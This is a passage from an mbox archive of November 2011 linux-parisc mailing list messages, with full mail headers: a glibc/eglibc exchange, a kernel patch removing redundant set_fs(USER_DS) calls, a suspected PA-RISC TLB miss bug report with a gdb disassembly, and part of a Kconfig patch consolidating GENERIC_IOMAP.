 <4EAF562A.2070407@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1320139219 4304 80.91.229.12 (1 Nov 2011 09:20:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 Nov 2011 09:20:19 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 01 10:20:11 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RLAVt-0001YB-GB
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Nov 2011 10:20:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752692Ab1KAJUI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Nov 2011 05:20:08 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:43490 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752100Ab1KAJUG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Nov 2011 05:20:06 -0400
Original-Received: by eye27 with SMTP id 27so6039822eye.19
        for <linux-parisc@vger.kernel.org>; Tue, 01 Nov 2011 02:20:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-type:content-disposition
         :in-reply-to;
        bh=mli7m10SMp1uLalRA3qhEpy6xbkUOP7p7SXlSIT7Zk8=;
        b=OYNzqd9h8SXmHPje9TMleq7NbqBt6OtFI/7ycl/4cqjLFFdTjV3qN8+rdgPVaF/Yhu
         xdCLxnTkx9GFGXTXHGHl2ZEz4EtGzjyxkOdpmdd5+7lAMMIdXg2+q4Xy0REgvdlhAgBs
         yJsXXzFxDBgDVmmJIw+M77MCNWbXF1Xg2evSU=
Original-Received: by 10.14.16.66 with SMTP id g42mr1594544eeg.106.1320139205386;
        Tue, 01 Nov 2011 02:20:05 -0700 (PDT)
Original-Received: from glitch (178-85-163-250.dynamic.upc.nl. [178.85.163.250])
        by mx.google.com with ESMTPS id a49sm58590878eea.2.2011.11.01.02.20.02
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 01 Nov 2011 02:20:04 -0700 (PDT)
Original-Received: by glitch (Postfix, from userid 1000)
	id 24387BA0DC7; Tue,  1 Nov 2011 10:19:54 +0100 (CET)
Mail-Followup-To: Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@bell.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <4EAF562A.2070407@systemhalted.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4023>

On Mon, Oct 31, 2011 at 10:15:06PM -0400, Carlos O'Donell wrote:
> On 10/30/2011 9:36 PM, John David Anglin wrote:
> > I've been wondering how much is left to install to glibc head?
> 
> I've pushed out almost all of glibc-ports into upstream.
> 
> There are probably a half-dozen patches against glibc proper for which I'm writing up submissions and making sure I don't impact x86 fast path.
> 
> Submitting patches to core glibc isn't like any other project :-)

glibc or eglibc?

cheers,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Tue, 01 Nov 2011 15:56:14 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <4EB04EDE.7000501@bell.net>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com> <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl> <2746859.nK5NlKbf2R@donald.sf-tec.de> <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl> <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com> <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl> <4EAF562A.2070407@systemhalted.org> <20111101091954.GB27751@glitch>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1320177386 30800 80.91.229.12 (1 Nov 2011 19:56:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 Nov 2011 19:56:26 +0000 (UTC)
To: Carlos O'Donell <carlos@systemhalted.org>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 01 20:56:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RLKRZ-0001i2-WD
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Nov 2011 20:56:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752048Ab1KAT4U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Nov 2011 15:56:20 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:46619 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751896Ab1KAT4T (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Nov 2011 15:56:19 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1RLKRV-0002fb-1R; Tue, 01 Nov 2011 15:56:17 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <20111101091954.GB27751@glitch>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4024
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4024>

On 11/1/2011 5:19 AM, Domenico Andreoli wrote:
> On Mon, Oct 31, 2011 at 10:15:06PM -0400, Carlos O'Donell wrote:
>> >  On 10/30/2011 9:36 PM, John David Anglin wrote:
>>> >  >  I've been wondering how much is left to install to glibc head?
>> >  
>> >  I've pushed out almost all of glibc-ports into upstream.
>> >  
>> >  There are probably a half-dozen patches against glibc proper for which I'm writing up submissions and making sure I don't impact x86 fast path.
>> >  
>> >  Submitting patches to core glibc isn't like any other project:-)
> glibc or eglibc?
Many of the debian packages that I have been building seem for cell phones,
so I understand the confusion 8-)

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 1/1] parisc, exec: remove redundant set_fs(USER_DS)
Date: Tue, 15 Nov 2011 14:57:13 -0800
Lines: 52
Approved: news@gmane.org
Message-ID: <201111152257.pAFMvDOL018292@wpaz9.hot.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ASCII
Content-Transfer-Encoding: 8bit
X-Trace: dough.gmane.org 1321398338 29100 80.91.229.12 (15 Nov 2011 23:05:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Nov 2011 23:05:38 +0000 (UTC)
Cc: deller@gmx.de, jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
	akpm@linux-foundation.org, minipli@googlemail.com
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 16 00:05:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RQS4J-0005OH-H7
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Nov 2011 00:05:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932577Ab1KOXFb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Nov 2011 18:05:31 -0500
Original-Received: from mail-vw0-f74.google.com ([209.85.212.74]:44407 "EHLO
	mail-vw0-f74.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932573Ab1KOXFa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Nov 2011 18:05:30 -0500
Original-Received: by vws3 with SMTP id 3so123415vws.1
        for <linux-parisc@vger.kernel.org>; Tue, 15 Nov 2011 15:05:30 -0800 (PST)
Original-Received: by 10.101.171.23 with SMTP id y23mr1053902ano.47.1321397835558;
        Tue, 15 Nov 2011 14:57:15 -0800 (PST)
Original-Received: from wpzn3.hot.corp.google.com (216-239-44-65.google.com [216.239.44.65])
        by gmr-mx.google.com with ESMTPS id f15si10959226anq.1.2011.11.15.14.57.15
        (version=TLSv1/SSLv3 cipher=AES128-SHA);
        Tue, 15 Nov 2011 14:57:15 -0800 (PST)
Original-Received: from wpaz9.hot.corp.google.com (wpaz9.hot.corp.google.com [172.24.198.73])
	by wpzn3.hot.corp.google.com (Postfix) with ESMTPS id 78128100052;
	Tue, 15 Nov 2011 14:57:15 -0800 (PST)
Original-Received: from localhost.localdomain (akpm.mtv.corp.google.com [172.18.96.75])
	by wpaz9.hot.corp.google.com with ESMTP id pAFMvDOL018292;
	Tue, 15 Nov 2011 14:57:14 -0800
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4025>

From: Mathias Krause <minipli@googlemail.com>
Subject: parisc, exec: remove redundant set_fs(USER_DS)

The address limit is already set in flush_old_exec() so those calls to
set_fs(USER_DS) are redundant.

Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/parisc/include/asm/processor.h |    2 --
 arch/parisc/kernel/process.c        |    1 -
 2 files changed, 3 deletions(-)

diff -puN arch/parisc/include/asm/processor.h~parisc-exec-remove-redundant-set_fsuser_ds arch/parisc/include/asm/processor.h
--- a/arch/parisc/include/asm/processor.h~parisc-exec-remove-redundant-set_fsuser_ds
+++ a/arch/parisc/include/asm/processor.h
@@ -196,7 +196,6 @@ typedef unsigned int elf_caddr_t;
 	/* offset pc for priv. level */			\
 	pc |= 3;					\
 							\
-	set_fs(USER_DS);				\
 	regs->iasq[0] = spaceid;			\
 	regs->iasq[1] = spaceid;			\
 	regs->iaoq[0] = pc;				\
@@ -299,7 +298,6 @@ on downward growing arches, it looks lik
 	elf_addr_t pc = (elf_addr_t)new_pc | 3;		\
 	elf_caddr_t *argv = (elf_caddr_t *)bprm->exec + 1;	\
 							\
-	set_fs(USER_DS);				\
 	regs->iasq[0] = spaceid;			\
 	regs->iasq[1] = spaceid;			\
 	regs->iaoq[0] = pc;				\
diff -puN arch/parisc/kernel/process.c~parisc-exec-remove-redundant-set_fsuser_ds arch/parisc/kernel/process.c
--- a/arch/parisc/kernel/process.c~parisc-exec-remove-redundant-set_fsuser_ds
+++ a/arch/parisc/kernel/process.c
@@ -192,7 +192,6 @@ void flush_thread(void)
 	/* Only needs to handle fpu stuff or perf monitors.
 	** REVISIT: several arches implement a "lazy fpu state".
 	*/
-	set_fs(USER_DS);
 }
 
 void release_thread(struct task_struct *dead_task)
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: TLB Miss Bug?
Date: Thu, 24 Nov 2011 08:16:55 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <BLU0-SMTP178D0B9C9992607985308C97CE0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1322140643 12959 80.91.229.12 (24 Nov 2011 13:17:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 13:17:23 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 24 14:17:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RTZAx-0002I8-CC
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Nov 2011 14:17:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755921Ab1KXNRO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Nov 2011 08:17:14 -0500
Original-Received: from blu0-omc4-s2.blu0.hotmail.com ([65.55.111.141]:12658 "EHLO
	blu0-omc4-s2.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755879Ab1KXNRN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Nov 2011 08:17:13 -0500
Original-Received: from BLU0-SMTP17 ([65.55.111.137]) by blu0-omc4-s2.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 24 Nov 2011 05:17:12 -0800
X-Originating-IP: [69.158.174.57]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.174.57]) by BLU0-SMTP17.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 24 Nov 2011 05:17:12 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Nov 2011 13:17:12.0543 (UTC) FILETIME=[60B3D6F0:01CCAAAB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4027>

As GCC has gotten larger with time, I started seeing hangs in the  
stage1 compilers when they are compiled
with no optimization.  This first was seen with gnat1.  I now see it  
with cc1 and cc1plus.

The hangs always occur at the same place (ldw,s instruction) in the  
GCC casesi insn pattern:

(gdb) disass $pc-16,$pc+16
Dump of assembler code from 0x45fbec4 to 0x45fbee4:
0x045fbec4 <cpp_spell_token+68>:	ldw 0(ret0),ret0
0x045fbec8 <cpp_spell_token+72>:	cmpib,<<,n 3,ret0,0x45fc168  
<cpp_spell_token+744>
0x045fbecc <cpp_spell_token+76>:	ldil L%45fb800,r19
0x045fbed0 <cpp_spell_token+80>:	ldo 6dc(r19),r19
=> 0x045fbed4 <cpp_spell_token+84>:	ldw,s ret0(r19),r19
0x045fbed8 <cpp_spell_token+88>:	bv,n r0(r19)
0x045fbedc <cpp_spell_token+92>:	# 45fbeec
0x045fbee0 <cpp_spell_token+96>:	# 45fbfc8

What is interesting about this instruction is that it usually involves  
an I and D access to the same page.

strace shows nothing for process.  gdb can't single step from the  
instruction.  A break at the next
instruction is never hit.

I see the following with sysrq-trigger:

cc1plus R running task 0 16932 16931 0x00000010
Backtrace:
timer_interrupt(CPU 1): delayed! cycles 77ED56D2 rem BD46F next/now  
411D1E1AE13C/411D1E0F0CCD

Note the delayed timer interrupt "always" seems to occur.  Also, see  
that the program isn't running kernel
code.

So, my theory is there is a bug in the TLB miss handling.  Somehow a  
data miss ejects the instruction entry,
and we get into a loop inserting I and D TLB entries.  Sometimes the  
machine gets out of the loop but it takes
hours.

I could probably fix this by moving the case offsets to a readonly  
data page, but this would make the code
sequence slightly longer.

Never seen the problem on HP-UX.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 01/10] lib: move GENERIC_IOMAP to lib/Kconfig
Date: Thu, 24 Nov 2011 22:15:42 +0200
Lines: 253
Approved: news@gmane.org
Message-ID: <5aed7b7e1dbc8a50ebd6986245df8054fd05b7cd.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322165771 4570 80.91.229.12 (24 Nov 2011 20:16:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:16:11 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:15:54 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTfi6-0000XZ-7M
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:15:54 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:46935 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904618Ab1KXUPu (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:15:50 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:15:33 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:44112 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904616Ab1KXUPX (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:15:23 +0100
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKETXv001001
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:14:29 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with SMTP id pAOKE3Cu009952;
        Thu, 24 Nov 2011 15:14:03 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-archive-position: 31979
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33080 gmane.linux.ports.alpha:1582 gmane.linux.kernel:1220295 gmane.linux.ports.arm.kernel:141508 gmane.linux.ports.hexagon:330 gmane.linux.ports.ia64:21885 gmane.linux.ports.m68k:3019 gmane.linux.uclinux.microblaze:11662 gmane.linux.ports.parisc:4028 gmane.linux.ports.ppc64.devel:78450 gmane.linux.ports.sh.devel:12858 gmane.linux.ports.sparc:15503 gmane.linux.kernel.cross-arch:11546 gmane.linux.kernel.pci:12693
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33080>

define GENERIC_IOMAP in a central location
instead of all architectures. This will be helpful
for the follow-up patch which makes it select
other configs. Code is also a bit shorter this way.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/alpha/Kconfig             |    4 ----
 arch/cris/Kconfig              |    5 +----
 arch/hexagon/Kconfig           |    4 +---
 arch/ia64/Kconfig              |    5 +----
 arch/m68k/Kconfig              |    4 +---
 arch/openrisc/Kconfig          |    3 ---
 arch/powerpc/platforms/Kconfig |    3 ---
 arch/score/Kconfig             |    4 +---
 arch/sh/Kconfig                |    3 ---
 arch/unicore32/Kconfig         |    4 +---
 arch/x86/Kconfig               |    4 +---
 lib/Kconfig                    |    3 +++
 12 files changed, 10 insertions(+), 36 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 3d74801..3636b11 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -70,10 +70,6 @@ config GENERIC_ISA_DMA
 	bool
 	default y
 
-config GENERIC_IOMAP
-	bool
-	default n
-
 source "init/Kconfig"
 source "kernel/Kconfig.freezer"
 
diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index 408b055..b3abfb0 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -19,10 +19,6 @@ config GENERIC_CMOS_UPDATE
 config ARCH_USES_GETTIMEOFFSET
 	def_bool n
 
-config GENERIC_IOMAP
-       bool
-       default y
-
 config ARCH_HAS_ILOG2_U32
 	bool
 	default n
@@ -52,6 +48,7 @@ config CRIS
 	select HAVE_IDE
 	select HAVE_GENERIC_HARDIRQS
 	select GENERIC_IRQ_SHOW
+	select GENERIC_IOMAP
 
 config HZ
 	int
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 02513c2..9059e39 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -26,6 +26,7 @@ config HEXAGON
 	select HAVE_ARCH_KGDB
 	select HAVE_ARCH_TRACEHOOK
 	select NO_IOPORT
+	select GENERIC_IOMAP
 	# mostly generic routines, with some accelerated ones
 	---help---
 	  Qualcomm Hexagon is a processor architecture designed for high
@@ -73,9 +74,6 @@ config GENERIC_CSUM
 config GENERIC_IRQ_PROBE
 	def_bool y
 
-config GENERIC_IOMAP
-	def_bool y
-
 #config ZONE_DMA
 #	bool
 #	default y
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 27489b6..2732e1b 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -29,6 +29,7 @@ config IA64
 	select GENERIC_IRQ_SHOW
 	select ARCH_WANT_OPTIONAL_GPIOLIB
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
+	select GENERIC_IOMAP
 	default y
 	help
 	  The Itanium Processor Family is Intel's 64-bit successor to
@@ -102,10 +103,6 @@ config EFI
 	bool
 	default y
 
-config GENERIC_IOMAP
-	bool
-	default y
-
 config ARCH_CLOCKSOURCE_DATA
 	def_bool y
 
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index 361d540..973e686 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -38,9 +38,6 @@ config GENERIC_CALIBRATE_DELAY
 	bool
 	default y
 
-config GENERIC_IOMAP
-	def_bool MMU
-
 config TIME_LOW_RES
 	bool
 	default y
@@ -73,6 +70,7 @@ source "kernel/Kconfig.freezer"
 config MMU
 	bool "MMU-based Paged Memory Management Support"
 	default y
+	select GENERIC_IOMAP
 	help
 	  Select if you want MMU-based virtualised addressing space
 	  support by paged memory management. If unsure, say 'Y'.
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index e518a5a..081a54f 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -38,9 +38,6 @@ config RWSEM_XCHGADD_ALGORITHM
 config GENERIC_HWEIGHT
 	def_bool y
 
-config GENERIC_IOMAP
-	def_bool y
-
 config NO_IOPORT
 	def_bool y
 
diff --git a/arch/powerpc/platforms/Kconfig b/arch/powerpc/platforms/Kconfig
index 3fe6d92..100feed 100644
--- a/arch/powerpc/platforms/Kconfig
+++ b/arch/powerpc/platforms/Kconfig
@@ -175,9 +175,6 @@ config PPC_INDIRECT_MMIO
 config PPC_IO_WORKAROUNDS
 	bool
 
-config GENERIC_IOMAP
-	bool
-
 source "drivers/cpufreq/Kconfig"
 
 menu "CPU Frequency drivers"
diff --git a/arch/score/Kconfig b/arch/score/Kconfig
index df169e8..455ce2d 100644
--- a/arch/score/Kconfig
+++ b/arch/score/Kconfig
@@ -4,6 +4,7 @@ config SCORE
        def_bool y
        select HAVE_GENERIC_HARDIRQS
        select GENERIC_IRQ_SHOW
+       select GENERIC_IOMAP
 
 choice
 	prompt "System type"
@@ -33,9 +34,6 @@ endmenu
 config CPU_SCORE7
 	bool
 
-config GENERIC_IOMAP
-	def_bool y
-
 config NO_DMA
 	bool
 	default y
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 5629e20..5aeab58 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -84,9 +84,6 @@ config GENERIC_GPIO
 config GENERIC_CALIBRATE_DELAY
 	bool
 
-config GENERIC_IOMAP
-	bool
-
 config GENERIC_CLOCKEVENTS
 	def_bool y
 
diff --git a/arch/unicore32/Kconfig b/arch/unicore32/Kconfig
index 942ed61..eeb8054 100644
--- a/arch/unicore32/Kconfig
+++ b/arch/unicore32/Kconfig
@@ -12,6 +12,7 @@ config UNICORE32
 	select GENERIC_IRQ_PROBE
 	select GENERIC_IRQ_SHOW
 	select ARCH_WANT_FRAME_POINTERS
+	select GENERIC_IOMAP
 	help
 	  UniCore-32 is 32-bit Instruction Set Architecture,
 	  including a series of low-power-consumption RISC chip
@@ -30,9 +31,6 @@ config GENERIC_CLOCKEVENTS
 config GENERIC_CSUM
 	def_bool y
 
-config GENERIC_IOMAP
-	def_bool y
-
